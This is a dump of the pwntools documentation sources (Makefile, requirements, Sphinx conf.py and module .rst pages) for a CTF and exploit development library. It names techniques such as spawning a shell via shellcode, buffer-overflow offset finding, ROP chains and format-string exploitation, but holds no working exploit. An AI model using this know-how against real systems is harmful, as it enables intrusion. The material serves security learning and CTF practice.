LaTeX files and run them through pdflatex" @echo " text to make text files" @echo " man to make manual pages" @echo " texinfo to make Texinfo files" @echo " info to make Texinfo files and run them through makeinfo" @echo " gettext to make PO message catalogs" @echo " dash to make a Dash docset" @echo " changes to make an overview of all changed/added/deprecated items" @echo " linkcheck to check all external links for integrity" @echo " doctest to run all doctests embedded in the documentation (if enabled)" clean: -rm -rf $(BUILDDIR)/* -rm -rf /tmp/user/pwn* -rm -rf $(HOME)/.cache/.pwntools-cache -rm -rf /tmp/pwn* 2>/dev/null || true -rm -rf build html: $(SPHINXBUILD) -b html $(ALLSPHINXOPTS) $(BUILDDIR)/html @echo @echo "Build finished. The HTML pages are in $(BUILDDIR)/html." dirhtml: $(SPHINXBUILD) -b dirhtml $(ALLSPHINXOPTS) $(BUILDDIR)/dirhtml @echo @echo "Build finished. The HTML pages are in $(BUILDDIR)/dirhtml." singlehtml: $(SPHINXBUILD) -b singlehtml $(ALLSPHINXOPTS) $(BUILDDIR)/singlehtml @echo @echo "Build finished. The HTML page is in $(BUILDDIR)/singlehtml." pickle: $(SPHINXBUILD) -b pickle $(ALLSPHINXOPTS) $(BUILDDIR)/pickle @echo @echo "Build finished; now you can process the pickle files." json: $(SPHINXBUILD) -b json $(ALLSPHINXOPTS) $(BUILDDIR)/json @echo @echo "Build finished; now you can process the JSON files." htmlhelp: $(SPHINXBUILD) -b htmlhelp $(ALLSPHINXOPTS) $(BUILDDIR)/htmlhelp @echo @echo "Build finished; now you can run HTML Help Workshop with the" \ ".hhp project file in $(BUILDDIR)/htmlhelp." qthelp: $(SPHINXBUILD) -b qthelp $(ALLSPHINXOPTS) $(BUILDDIR)/qthelp @echo @echo "Build finished; now you can run "qcollectiongenerator" with the" \ ".qhcp project file in $(BUILDDIR)/qthelp, like this:" @echo "# qcollectiongenerator $(BUILDDIR)/qthelp/pwntools.qhcp" @echo "To view the help file:" @echo "# assistant -collectionFile $(BUILDDIR)/qthelp/pwntools.qhc" devhelp: $(SPHINXBUILD) -b devhelp $(ALLSPHINXOPTS) $(BUILDDIR)/devhelp @echo @echo "Build finished." @echo "To view the help file:" @echo "# mkdir -p $$HOME/.local/share/devhelp/pwntools" @echo "# ln -s $(BUILDDIR)/devhelp $$HOME/.local/share/devhelp/pwntools" @echo "# devhelp" epub: $(SPHINXBUILD) -b epub $(ALLSPHINXOPTS) $(BUILDDIR)/epub @echo @echo "Build finished. The epub file is in $(BUILDDIR)/epub." latex: $(SPHINXBUILD) -b latex $(ALLSPHINXOPTS) $(BUILDDIR)/latex @echo @echo "Build finished; the LaTeX files are in $(BUILDDIR)/latex." @echo "Run \`make' in that directory to run these through (pdf)latex" \ "(use \`make latexpdf' here to do that automatically)." latexpdf: $(SPHINXBUILD) -b latex $(ALLSPHINXOPTS) $(BUILDDIR)/latex @echo "Running LaTeX files through pdflatex..." $(MAKE) -C $(BUILDDIR)/latex all-pdf @echo "pdflatex finished; the PDF files are in $(BUILDDIR)/latex." text: $(SPHINXBUILD) -b text $(ALLSPHINXOPTS) $(BUILDDIR)/text @echo @echo "Build finished. The text files are in $(BUILDDIR)/text." man: $(SPHINXBUILD) -b man $(ALLSPHINXOPTS) $(BUILDDIR)/man @echo @echo "Build finished. The manual pages are in $(BUILDDIR)/man." texinfo: $(SPHINXBUILD) -b texinfo $(ALLSPHINXOPTS) $(BUILDDIR)/texinfo @echo @echo "Build finished. The Texinfo files are in $(BUILDDIR)/texinfo." @echo "Run \`make' in that directory to run these through makeinfo" \ "(use \`make info' here to do that automatically)." info: $(SPHINXBUILD) -b texinfo $(ALLSPHINXOPTS) $(BUILDDIR)/texinfo @echo "Running Texinfo files through makeinfo..." make -C $(BUILDDIR)/texinfo info @echo "makeinfo finished; the Info files are in $(BUILDDIR)/texinfo." gettext: $(SPHINXBUILD) -b gettext $(I18NSPHINXOPTS) $(BUILDDIR)/locale @echo @echo "Build finished. The message catalogs are in $(BUILDDIR)/locale." dash: $(SPHINXBUILD) -b html -d $(BUILDDIR)/doctrees -t dash source $(BUILDDIR)/html doc2dash $(BUILDDIR)/html -d $(BUILDDIR)/dash -n pwntools -f -I index.html @echo "Build finished. The Dash docset is in $(BUILDDIR)/dash." changes: $(SPHINXBUILD) -b changes $(ALLSPHINXOPTS) $(BUILDDIR)/changes @echo @echo "The overview file is in $(BUILDDIR)/changes." linkcheck: $(SPHINXBUILD) -b linkcheck $(ALLSPHINXOPTS) $(BUILDDIR)/linkcheck @echo @echo "Link check complete; look for any errors in the above output " \ "or in $(BUILDDIR)/linkcheck/output.txt." doctest: $(SPHINXBUILD) -b doctest $(ALLSPHINXOPTS) $(BUILDDIR)/doctest @echo "Testing of doctests in the sources finished, look at the " \ "results in $(BUILDDIR)/doctest/output.txt." Gallopsled-pwntools-3ad86ec/docs/requirements.txt000077500000000000000000000007161507273764500224250ustar00rootroot00000000000000capstone coverage[toml] python-dateutil doc2dash docutils<0.18; python_version<'3' docutils>=0.18; python_version>='3' intervaltree isort mako>=1.0.0 paramiko>=1.15.2 pip>=6.0.8 pyelftools>=0.29, <0.30; python_version<'3' pyelftools>=0.29; python_version>='3' pygments>=2.0 pypandoc pyserial>=2.7 pysocks psutil requests>=2.5.1 ropgadget>=5.3 sphinx==1.8.6; python_version<'3' sphinx>=7.0.0; python_version>='3' sphinx_rtd_theme sphinxcontrib-autoprogram<=0.1.5 Gallopsled-pwntools-3ad86ec/docs/source/000077500000000000000000000000001507273764500204325ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/docs/source/about.rst000066400000000000000000000043051507273764500223000ustar00rootroot00000000000000About pwntools ======================== Whether you're using it to write exploits, or as part of another software project will dictate how you use it. Historically pwntools was used as a sort of exploit-writing DSL. Simply doing ``from pwn import *`` in a previous version of pwntools would bring all sorts of nice side-effects. When redesigning pwntools for 2.0, we noticed two contrary goals: * We would like to have a "normal" python module structure, to allow other people to familiarize themselves with pwntools quickly. * We would like to have even more side-effects, especially by putting the terminal in raw-mode. To make this possible, we decided to have two different modules. :mod:`pwnlib` would be our nice, clean Python module, while :mod:`pwn` would be used during CTFs. :mod:`pwn` --- Toolbox optimized for CTFs ----------------------------------------- .. module:: pwn As stated, we would also like to have the ability to get a lot of these side-effects by default. That is the purpose of this module. It does the following: * Imports everything from the toplevel :mod:`pwnlib` along with functions from a lot of submodules. This means that if you do ``import pwn`` or ``from pwn import *``, you will have access to everything you need to write an exploit. * Calls :func:`pwnlib.term.init` to put your terminal in raw mode and implements functionality to make it appear like it isn't. * Setting the :data:`pwnlib.context.log_level` to `"info"`. * Tries to parse some of the values in :data:`sys.argv` and every value it succeeds in parsing it removes. :mod:`pwnlib` --- Normal python library --------------------------------------- .. module:: pwnlib This module is our "clean" python-code. As a rule, we do not think that importing :mod:`pwnlib` or any of the submodules should have any significant side-effects (besides e.g. caching). For the most part, you will also only get the bits you import. You for instance would not get access to :mod:`pwnlib.util.packing` simply by doing ``import pwnlib.util``. Though there are a few exceptions (such as :mod:`pwnlib.shellcraft`), that does not quite fit the goals of being simple and clean, but they can still be imported without implicit side-effects. Gallopsled-pwntools-3ad86ec/docs/source/adb.rst000066400000000000000000000004311507273764500217100ustar00rootroot00000000000000.. testsetup:: * from pprint import pprint from pwn import * adb = pwnlib.adb :mod:`pwnlib.adb` --- Android Debug Bridge ===================================================== .. automodule:: pwnlib.adb.adb :members: .. automodule:: pwnlib.adb.protocol :members: Gallopsled-pwntools-3ad86ec/docs/source/args.rst000066400000000000000000000002741507273764500221230ustar00rootroot00000000000000.. testsetup:: * from pwn import * :mod:`pwnlib.args` --- Magic Command-Line Arguments ===================================================== .. automodule:: pwnlib.args :members: Gallopsled-pwntools-3ad86ec/docs/source/asm.rst000066400000000000000000000007171507273764500217510ustar00rootroot00000000000000.. testsetup:: * import tempfile import subprocess from pwn import * :mod:`pwnlib.asm` --- Assembler functions ========================================= .. automodule:: pwnlib.asm :members: Internal Functions ----------------------------------------- These are only included so that their tests are run. You should never need these. .. autofunction:: pwnlib.asm.dpkg_search_for_binutils .. autofunction:: pwnlib.asm.print_binutils_instructions Gallopsled-pwntools-3ad86ec/docs/source/atexception.rst000066400000000000000000000002571507273764500235130ustar00rootroot00000000000000:mod:`pwnlib.atexception` --- Callbacks on unhandled exception ============================================================== .. automodule:: pwnlib.atexception :members: Gallopsled-pwntools-3ad86ec/docs/source/atexit.rst000066400000000000000000000002141507273764500224570ustar00rootroot00000000000000:mod:`pwnlib.atexit` --- Replacement for atexit =============================================== .. automodule:: pwnlib.atexit :members: Gallopsled-pwntools-3ad86ec/docs/source/commandline.rst000066400000000000000000000007751507273764500234630ustar00rootroot00000000000000.. testsetup:: * from pwn import * old = context.defaults.copy() .. testcleanup:: * context.defaults.copy = old Command Line Tools ======================== pwntools comes with a handful of useful command-line utilities which serve as wrappers for some of the internal functionality. If these tools do not appear to be installed, make sure that you have added ``~/.local/bin`` to your ``$PATH`` environment variable. .. toctree:: .. autoprogram:: pwnlib.commandline.main:parser :prog: pwn Gallopsled-pwntools-3ad86ec/docs/source/conf.py000077500000000000000000000350441507273764500217420ustar00rootroot00000000000000# -*- coding: utf-8 -*- # # pwntools documentation build configuration file, created by # sphinx-quickstart on Wed May 28 15:00:52 2014. # # This file is execfile()d with the current directory set to its containing dir. # # Note that not all possible configuration values are present in this # autogenerated file. # # All configuration values have a default; values that are commented out # serve to show the default. import os import doctest import signal import six import subprocess import sys build_dash = tags.has('dash') # If extensions (or modules to document with autodoc) are in another directory, # add these directories to sys.path here. If the directory is relative to the # documentation root, use os.path.abspath to make it absolute, like shown here. sys.path.insert(0, os.path.abspath('../..')) import pwnlib.update pwnlib.update.disabled = True # If your documentation needs a minimal Sphinx version, state it here. #needs_sphinx = '1.0' # Add any Sphinx extension module names here, as strings. They can be extensions # coming with Sphinx (named 'sphinx.ext.*') or your custom ones. extensions = [ 'pwnlib.internal.dochelper', 'sphinx.ext.autodoc', 'sphinx.ext.doctest', 'sphinx.ext.linkcode', 'sphinx.ext.autosummary', 'sphinx.ext.coverage', 'sphinx.ext.todo', 'sphinx.ext.intersphinx', 'sphinx.ext.napoleon', 'sphinxcontrib.autoprogram', ] # Disable "info" logging directly to stdout by Sphinx import logging class SphinxPwnlibFilter(logging.Filter): def filter(self, record): if record.name.startswith('pwn'): return False if record.name.startswith('paramiko'): return False return True log_filter = SphinxPwnlibFilter() for i, handler in enumerate(logging.root.handlers): print("Filtering Sphinx handler", handler) handler.addFilter(log_filter) # Napoleon settings napoleon_use_ivar = True napoleon_use_rtype = False doctest_global_setup = ''' import sys, os os.environ['PWNLIB_NOTERM'] = '1' os.environ['PWNLIB_RANDOMIZE'] = '0' import six import pwnlib.update import pwnlib.util.fiddling import logging pwnlib.update.disabled = True pwnlib.context.context.reset_local() pwnlib.context.ContextType.defaults['log_level'] = logging.ERROR pwnlib.context.ContextType.defaults['randomize'] = False # pwnlib.context.ContextType.defaults['terminal'] = ['sh', '-c'] pwnlib.util.fiddling.default_style = {} pwnlib.term.text.when = 'never' pwnlib.log.install_default_handler() pwnlib.log.rootlogger.setLevel(1) # Sphinx modifies sys.stdout, and context.log_terminal has # a reference to the original instance. We need to update # it for logging to be captured. class stdout(object): def __getattr__(self, name): return getattr(sys.stdout, name) def __setattr__(self, name, value): return setattr(sys.stdout, name, value) pwnlib.context.ContextType.defaults['log_console'] = stdout() github_actions = os.environ.get('USER') == 'runner' travis_ci = os.environ.get('USER') == 'travis' local_doctest = os.environ.get('USER') == 'pwntools' skip_android = True is_python2 = six.PY2 ''' autoclass_content = 'both' autodoc_member_order = 'groupwise' # 'alphabetical' # Add any paths that contain templates here, relative to this directory. templates_path = ['_templates'] doctest_test_doctest_blocks = 'true' # The suffix of source filenames. source_suffix = '.rst' # The encoding of source files. source_encoding = 'utf-8-sig' # The master toctree document. master_doc = 'index' # General information about the project. project = u'pwntools' copyright = u'2016, Gallopsled et al.' # The version info for the project you're documenting, acts as replacement for # |version| and |release|, also used in various other places throughout the # built documents. # # The short X.Y version. release = pwnlib.__version__ version = release.rsplit('.', 1)[0] # The language for content autogenerated by Sphinx. Refer to documentation # for a list of supported languages. #language = None # There are two options for replacing |today|: either, you set today to some # non-false value, then it is used: #today = '' # Else, today_fmt is used as the format for a strftime call. #today_fmt = '%B %d, %Y' # List of patterns, relative to source directory, that match files and # directories to ignore when looking for source files. exclude_patterns = [] # The reST default role (used for this markup: `text`) to use for all documents. #default_role = None # If true, '()' will be appended to :func: etc. cross-reference text. #add_function_parentheses = True # If true, the current module name will be prepended to all description # unit titles (such as .. function::). #add_module_names = True # If true, sectionauthor and moduleauthor directives will be shown in the # output. They are ignored by default. #show_authors = False # The name of the Pygments (syntax highlighting) style to use. pygments_style = 'sphinx' # A list of ignored prefixes for module index sorting. #modindex_common_prefix = [] # -- Options for HTML output --------------------------------------------------- # The theme to use for HTML and HTML Help pages. See the documentation for # a list of builtin themes. html_theme = 'sphinx_rtd_theme' # Theme options are theme-specific and customize the look and feel of a theme # further. For a list of options available for each theme, see the # documentation. #html_theme_options = {} # Add any paths that contain custom themes here, relative to this directory. #html_theme_path = [] # The name for this set of Sphinx documents. If None, it defaults to # " v documentation". #html_title = None # A shorter title for the navigation bar. Default is the same as html_title. #html_short_title = None # The name of an image file (relative to this directory) to place at the top # of the sidebar. #html_logo = None # The name of an image file (within the static path) to use as favicon of the # docs. This file should be a Windows icon file (.ico) being 16x16 or 32x32 # pixels large. #html_favicon = None # Add any paths that contain custom static files (such as style sheets) here, # relative to this directory. They are copied after the builtin static files, # so a file named "default.css" will overwrite the builtin "default.css". html_static_path = [] # If not '', a 'Last updated on:' timestamp is inserted at every page bottom, # using the given strftime format. #html_last_updated_fmt = '%b %d, %Y' # If true, SmartyPants will be used to convert quotes and dashes to # typographically correct entities. #html_use_smartypants = True # Custom sidebar templates, maps document names to template names. #html_sidebars = {} # Additional templates that should be rendered to pages, maps page names to # template names. #html_additional_pages = {} # If false, no module index is generated. html_domain_indices = not build_dash # If false, no index is generated. html_use_index = not build_dash # If true, the index is split into individual pages for each letter. #html_split_index = False # If true, links to the reST sources are added to the pages. #html_show_sourcelink = True # If true, "Created using Sphinx" is shown in the HTML footer. Default is True. #html_show_sphinx = True # If true, "(C) Copyright ..." is shown in the HTML footer. Default is True. #html_show_copyright = True # If true, an OpenSearch description file will be output, and all pages will # contain a tag referring to it. The value of this option must be the # base URL from which the finished HTML is served. #html_use_opensearch = '' # This is the file name suffix for HTML files (e.g. ".xhtml"). #html_file_suffix = None # Output file base name for HTML help builder. htmlhelp_basename = 'pwntoolsdoc' # -- Options for LaTeX output -------------------------------------------------- latex_elements = { # The paper size ('letterpaper' or 'a4paper'). #'papersize': 'letterpaper', # The font size ('10pt', '11pt' or '12pt'). #'pointsize': '10pt', # Additional stuff for the LaTeX preamble. #'preamble': '', } # Grouping the document tree into LaTeX files. List of tuples # (source start file, target name, title, author, documentclass [howto/manual]). latex_documents = [ ('index', 'pwntools.tex', u'pwntools Documentation', u'2016, Gallopsled et al.', 'manual'), ] intersphinx_mapping = {'python': ('https://docs.python.org/3/', None), 'paramiko': ('https://docs.paramiko.org/en/2.1/', None)} # The name of an image file (relative to this directory) to place at the top of # the title page. #latex_logo = None # For "manual" documents, if this is true, then toplevel headings are parts, # not chapters. #latex_use_parts = False # If true, show page references after internal links. #latex_show_pagerefs = False # If true, show URL addresses after external links. #latex_show_urls = False # Documents to append as an appendix to all manuals. #latex_appendices = [] # If false, no module index is generated. #latex_domain_indices = True # -- Options for manual page output -------------------------------------------- # One entry per manual page. List of tuples # (source start file, name, description, authors, manual section). man_pages = [ ('index', 'pwntools', u'pwntools Documentation', [u'2016, Gallopsled et al.'], 1) ] # If true, show URL addresses after external links. #man_show_urls = False # -- Options for Texinfo output ------------------------------------------------ # Grouping the document tree into Texinfo files. List of tuples # (source start file, target name, title, author, # dir menu entry, description, category) texinfo_documents = [ ('index', 'pwntools', u'pwntools Documentation', u'', 'pwntools', 'CTF exploit writing toolkit.', 'Miscellaneous'), ] # Documents to append as an appendix to all manuals. #texinfo_appendices = [] # If false, no module index is generated. #texinfo_domain_indices = True # How to display URL addresses: 'footnote', 'no', or 'inline'. #texinfo_show_urls = 'footnote' branch = release try: git_branch = subprocess.check_output('git describe --tags', shell = True, universal_newlines = True) except subprocess.CalledProcessError: git_branch = '-' try: if '-' in git_branch: branch = subprocess.check_output('git rev-parse HEAD', shell = True, universal_newlines = True).strip()[:10] except subprocess.CalledProcessError: pass def linkcode_resolve(domain, info): if domain != 'py': return None if not info['module']: return None import importlib, inspect, types mod = importlib.import_module(info['module']) # Try to find the value val = mod for k in info['fullname'].split('.'): val = getattr(val, k, None) if val is None: break # Special case for shellcraft if info['module'].startswith('pwnlib.shellcraft.'): filename = 'pwnlib/shellcraft/templates/%s' % val._relpath # Case for everything else else: filename = info['module'].replace('.', '/') + '.py' if isinstance(val, property): val = val.fget if isinstance(val, (types.ModuleType, types.MethodType, types.FunctionType, types.TracebackType, types.FrameType, types.CodeType) + six.class_types): try: lines, first = inspect.getsourcelines(val) filename += '#L%d-L%d' % (first, first + len(lines) - 1) except (IOError, TypeError): pass return "https://github.com/Gallopsled/pwntools/blob/%s/%s" % (branch, filename) # The readthedocs theme is used by the Dash generator. (Can be used for HTML too.) if build_dash: # on_rtd is whether we are on readthedocs.org on_rtd = os.environ.get('READTHEDOCS', None) == 'True' if not on_rtd: # only import and set the theme if we're building docs locally import alabaster html_theme = 'alabaster' html_theme_path = [alabaster.get_path()] html_theme_options = { 'nosidebar' : True } # -- Customization to Sphinx autodoc generation -------------------------------------------- import sphinx.ext.autodoc # Test hidden members (e.g. def _foo(...)) def dont_skip_any_doctests(app, what, name, obj, skip, options): return None autodoc_default_options = {'special-members': None, 'private-members': None} class _DummyClass(object): pass class Py2OutputChecker(_DummyClass, doctest.OutputChecker): def check_output(self, want, got, optionflags): sup = super(Py2OutputChecker, self).check_output if sup(want, got, optionflags): return True try: rly_want = pwnlib.util.safeeval.const(want) if sup(repr(rly_want), got, optionflags): return True rly_got = pwnlib.util.safeeval.const(got) if rly_want == rly_got: return True except ValueError: pass rly_want = ' '.join(x[:2].replace('b"','"').replace("b'","'")+x[2:] for x in want.replace('\n','\n ').split(' ')).replace('\n ','\n') if sup(rly_want, got, optionflags): return True rly_want = ' '.join(x[:2].replace('b"',' "').replace("b'"," '")+x[2:] for x in want.replace('\n','\n ').split(' ')).replace('\n ','\n') if sup(rly_want, got, optionflags): return True for wantl, gotl in six.moves.zip_longest(want.splitlines(), got.splitlines(), fillvalue=''): rly_want1 = '['.join(x[:2].replace('b"','"').replace("b'","'")+x[2:] for x in wantl.split('[')) rly_want2 = ' '.join(x[:2].replace('b"',' "').replace("b'"," '")+x[2:] for x in wantl.split(' ')) if not sup(rly_want1, gotl, optionflags) and not sup(rly_want2, gotl, optionflags): return False return True def py2_doctest_init(self, checker=None, verbose=None, optionflags=0): if checker is None: checker = Py2OutputChecker() doctest.DocTestRunner.__init__(self, checker, verbose, optionflags) if 'doctest' in sys.argv: def setup(app): pass # app.connect('autodoc-skip-member', dont_skip_any_doctests) if sys.version_info[:1] < (3,): import sphinx.ext.doctest sphinx.ext.doctest.SphinxDocTestRunner.__init__ = py2_doctest_init else: # monkey patching paramiko due to https://github.com/paramiko/paramiko/pull/1661 import paramiko.client import binascii paramiko.client.hexlify = lambda x: binascii.hexlify(x).decode() paramiko.util.safe_string = lambda x: '' # function result never *actually used* class EndlessLoop(Exception): pass def alrm_handler(sig, frame): signal.alarm(180) # three minutes raise EndlessLoop() signal.signal(signal.SIGALRM, alrm_handler) signal.alarm(600) # ten minutes Gallopsled-pwntools-3ad86ec/docs/source/config.rst000066400000000000000000000002111507273764500224230ustar00rootroot00000000000000:mod:`pwnlib.config` --- Pwntools Configuration File ==================================================== .. automodule:: pwnlib.config Gallopsled-pwntools-3ad86ec/docs/source/constants.rst000066400000000000000000000003751507273764500232050ustar00rootroot00000000000000.. testsetup:: * from pwnlib import constants from pwnlib.context import context :mod:`pwnlib.constants` --- Easy access to header file constants ================================================================ .. automodule:: pwnlib.constants Gallopsled-pwntools-3ad86ec/docs/source/context.rst000066400000000000000000000016161507273764500226540ustar00rootroot00000000000000.. testsetup:: * from pwn import * import logging log = pwnlib.log.getLogger('pwnlib.context') context.clear() :mod:`pwnlib.context` --- Setting runtime variables ===================================================== Many settings in ``pwntools`` are controlled via the global variable :data:`.context`, such as the selected target operating system, architecture, and bit-width. In general, exploits will start with something like: .. code-block:: python from pwn import * context.arch = 'amd64' Which sets up everything in the exploit for exploiting a 64-bit Intel binary. The recommended method is to use ``context.binary`` to automagically set all of the appropriate values. .. code-block:: python from pwn import * context.binary = './challenge-binary' Module Members ---------------------------------------------------- .. automodule:: pwnlib.context :members: Gallopsled-pwntools-3ad86ec/docs/source/dynelf.rst000066400000000000000000000002541507273764500224460ustar00rootroot00000000000000:mod:`pwnlib.dynelf` --- Resolving remote functions using leaks =============================================================== .. automodule:: pwnlib.dynelf :members: Gallopsled-pwntools-3ad86ec/docs/source/elf.rst000066400000000000000000000004651507273764500217370ustar00rootroot00000000000000.. testsetup:: * from pwnlib.elf import * from pwnlib.util.misc import which :mod:`pwnlib.elf` --- ELF Executables and Libraries =================================================== .. automodule:: pwnlib.elf ELF Modules ------------------- .. toctree:: elf/elf elf/config elf/corefile Gallopsled-pwntools-3ad86ec/docs/source/elf/000077500000000000000000000000001507273764500212005ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/docs/source/elf/config.rst000066400000000000000000000003651507273764500232030ustar00rootroot00000000000000.. testsetup:: * from pwn import * from pwnlib.elf.config import parse_kconfig :mod:`pwnlib.elf.config` --- Kernel Config Parsing =========================================================== .. automodule:: pwnlib.elf.config :members: Gallopsled-pwntools-3ad86ec/docs/source/elf/corefile.rst000066400000000000000000000021341507273764500235220ustar00rootroot00000000000000.. testsetup:: * from glob import glob from pwn import * # The Linux kernel won't overwrite an existing corefile, so in case # some other part of the doctests caused a segfault and core dump, # we need to get rid of it before our tests run. # # We DONT need to worry about e.g. ./core existing when using Corefile() # because we always move and rename the corefile to prevent this situation. if os.path.exists('core'): os.unlink('core') # bash-static is a statically linked version of bash, but if $SHELL is not # set to anything, it decides to up and load ld.so and libc.so which breaks # our example of showing `corefile.libc == None` for a statically linked bin. # Set the environment here so it's not in the middle of our tests. os.environ.setdefault('SHELL', '/bin/sh') :mod:`pwnlib.elf.corefile` --- Core Files =========================================================== .. automodule:: pwnlib.elf.corefile .. autoclass:: pwnlib.elf.corefile.Corefile :members: :show-inheritance: .. autoclass:: pwnlib.elf.corefile.Mapping :members: Gallopsled-pwntools-3ad86ec/docs/source/elf/elf.rst000066400000000000000000000014041507273764500224770ustar00rootroot00000000000000.. testsetup:: * from pwn import * from glob import glob from pwnlib.elf.maps import CAT_PROC_MAPS_EXIT import shutil :mod:`pwnlib.elf.elf` --- ELF Files =========================================================== .. automodule:: pwnlib.elf.elf .. autoclass:: pwnlib.elf.elf.ELF :members: :show-inheritance: :inherited-members: :exclude-members: address_offsets, get_data, get_dwarf_info, get_section, get_segment, has_dwarf_info, iter_sections, iter_segments .. autoclass:: pwnlib.elf.elf.Function :members: .. autoclass:: pwnlib.elf.elf.dotdict :members: Gallopsled-pwntools-3ad86ec/docs/source/encoders.rst000066400000000000000000000011141507273764500227630ustar00rootroot00000000000000.. testsetup:: * from pwn import * :mod:`pwnlib.encoders` --- Encoding Shellcode =============================================== .. automodule:: pwnlib.encoders.encoder :members: .. automodule:: pwnlib.encoders.i386.ascii_shellcode :members: :special-members: :exclude-members: __init__ .. automodule:: pwnlib.encoders.i386.xor :members: .. automodule:: pwnlib.encoders.i386.delta :members: .. automodule:: pwnlib.encoders.amd64.delta :members: .. automodule:: pwnlib.encoders.arm.xor :members: .. automodule:: pwnlib.encoders.mips.xor :members: Gallopsled-pwntools-3ad86ec/docs/source/exception.rst000066400000000000000000000002221507273764500231560ustar00rootroot00000000000000:mod:`pwnlib.exception` --- Pwnlib exceptions ==================================================== .. automodule:: pwnlib.exception :members: Gallopsled-pwntools-3ad86ec/docs/source/filepointer.rst000066400000000000000000000003421507273764500235030ustar00rootroot00000000000000.. testsetup:: * from pwnlib.filepointer import * :mod:`pwnlib.filepointer` --- `FILE*` structure exploitation ============================================================ .. automodule:: pwnlib.filepointer :members: Gallopsled-pwntools-3ad86ec/docs/source/filesystem.rst000066400000000000000000000007721507273764500233560ustar00rootroot00000000000000.. testsetup:: * import time import six from pwnlib.context import context from pwnlib.tubes.ssh import ssh from pwnlib.filesystem import * :mod:`pwnlib.filesystem` --- Manipulating Files Locally and Over SSH ==================================================================== Provides a Python2-compatible :py:mod:`pathlib` interface for paths on the local filesystem (`.Path`) as well as on remote filesystems, via SSH (`.SSHPath`). .. automodule:: pwnlib.filesystem :members:Gallopsled-pwntools-3ad86ec/docs/source/flag.rst000066400000000000000000000002511507273764500220730ustar00rootroot00000000000000.. testsetup:: * from pwn import * :mod:`pwnlib.flag` --- CTF Flag Management ========================================== .. automodule:: pwnlib.flag :members: Gallopsled-pwntools-3ad86ec/docs/source/fmtstr.rst000066400000000000000000000003371507273764500225060ustar00rootroot00000000000000.. testsetup:: * from pwn import * import tempfile :mod:`pwnlib.fmtstr` --- Format string bug exploitation tools ============================================================= .. automodule:: pwnlib.fmtstr :members: Gallopsled-pwntools-3ad86ec/docs/source/gdb.rst000066400000000000000000000004321507273764500217170ustar00rootroot00000000000000.. testsetup:: * from pwn import * context.arch = 'amd64' context.terminal = [os.path.join(os.path.dirname(pwnlib.__file__), 'gdb_faketerminal.py')] :mod:`pwnlib.gdb` --- Working with GDB ====================================== .. automodule:: pwnlib.gdb :members: Gallopsled-pwntools-3ad86ec/docs/source/globals.rst000066400000000000000000000111541507273764500226110ustar00rootroot00000000000000.. testsetup:: * from pwn import * ``from pwn import *`` ======================== The most common way that you'll see pwntools used is >>> from pwn import * Which imports a bazillion things into the global namespace to make your life easier. This is a quick list of most of the objects and routines imported, in rough order of importance and frequency of use. - :mod:`pwnlib.context` - :data:`pwnlib.context.context` - Responsible for most of the pwntools convenience settings - Set `context.log_level = 'debug'` when troubleshooting your exploit - Scope-aware, so you can disable logging for a subsection of code via :meth:`.ContextType.local` - ``remote``, ``listen``, ``ssh``, ``process`` - :mod:`pwnlib.tubes` - Super convenient wrappers around all of the common functionality for CTF challenges - Connect to anything, anywhere, and it works the way you want it to - Helpers for common tasks like ``recvline``, ``recvuntil``, ``clean``, etc. - Interact directly with the application via ``.interactive()`` - ``p32`` and ``u32`` - :mod:`pwnlib.util.packing` - Useful functions to make sure you never have to remember if ``'>'`` means signed or unsigned for ``struct.pack``, and no more ugly ``[0]`` index at the end. - Set ``signed`` and ``endian`` in sane manners (also these can be set once on ``context`` and not bothered with again) - Most common sizes are pre-defined (``u8``, ``u64``, etc), and :func:`pwnlib.util.packing.pack` lets you define your own. - ``log`` - :mod:`pwnlib.log` - Make your output pretty! - ``cyclic`` and ``cyclic_func`` - :mod:`pwnlib.util.cyclic` - Utilities for generating strings such that you can find the offset of any given substring given only N (usually 4) bytes. This is super useful for straight buffer overflows. Instead of looking at 0x41414141, you could know that 0x61616171 means you control EIP at offset 64 in your buffer. - ``asm`` and ``disasm`` - :mod:`pwnlib.asm` - Quickly turn assembly into some bytes, or vice-versa, without mucking about - Supports any architecture for which you have a binutils installed - Over 20 different architectures have pre-built binaries at `ppa:pwntools/binutils `_. - ``shellcraft`` - :mod:`pwnlib.shellcraft` - Library of shellcode ready to go - ``asm(shellcraft.sh())`` gives you a shell - Templating library for reusability of shellcode fragments - ``ELF`` - :mod:`pwnlib.elf` - ELF binary manipulation tools, including symbol lookup, virtual memory to file offset helpers, and the ability to modify and save binaries back to disk - ``DynELF`` - :mod:`pwnlib.dynelf` - Dynamically resolve functions given only a pointer to any loaded module, and a function which can leak data at any address - ``ROP`` - :mod:`pwnlib.rop` - Automatically generate ROP chains using a DSL to describe what you want to do, rather than raw addresses - ``gdb.debug`` and ``gdb.attach`` - :mod:`pwnlib.gdb` - Launch a binary under GDB and pop up a new terminal to interact with it. Automates setting breakpoints and makes iteration on exploits MUCH faster. - Alternately, attach to a running process given a PID, :mod:`pwnlib.tubes` object, or even just a socket that's connected to it - ``args`` - Dictionary containing all-caps command-line arguments for quick access - Run via ``python foo.py REMOTE=1`` and ``args['REMOTE'] == '1'``. - Can also control logging verbosity and terminal fanciness - `NOTERM` - `SILENT` - `DEBUG` - ``randoms``, ``rol``, ``ror``, ``xor``, ``bits`` - :mod:`pwnlib.util.fiddling` - Useful utilities for generating random data from a given alphabet, or simplifying math operations that usually require masking off with `0xffffffff` or calling `ord` and `chr` an ugly number of times - ``net`` - :mod:`pwnlib.util.net` - Routines for querying about network interfaces - ``proc`` - :mod:`pwnlib.util.proc` - Routines for querying about processes - ``pause`` - It's the new ``getch`` - ``safeeval`` - :mod:`pwnlib.util.safeeval` - Functions for safely evaluating python code without nasty side-effects. These are all pretty self explanatory, but are useful to have in the global namespace. - ``hexdump`` - ``read`` and ``write`` - ``enhex`` and ``unhex`` - ``more`` - ``group`` - ``align`` and ``align_down`` - ``urlencode`` and ``urldecode`` - ``which`` - ``wget`` Additionally, all of the following modules are auto-imported for you. You were going to do it anyway. - ``os`` - ``sys`` - ``time`` - ``requests`` - ``re`` - ``random`` Gallopsled-pwntools-3ad86ec/docs/source/index.rst000077500000000000000000000033321507273764500222770ustar00rootroot00000000000000pwntools ==================================== ``pwntools`` is a CTF framework and exploit development library. Written in Python, it is designed for rapid prototyping and development, and intended to make exploit writing as simple as possible. The primary location for this documentation is at docs.pwntools.com_, which uses readthedocs_. It comes in three primary flavors: - Stable_ - Beta_ - Dev_ .. _readthedocs: https://readthedocs.org .. _docs.pwntools.com: 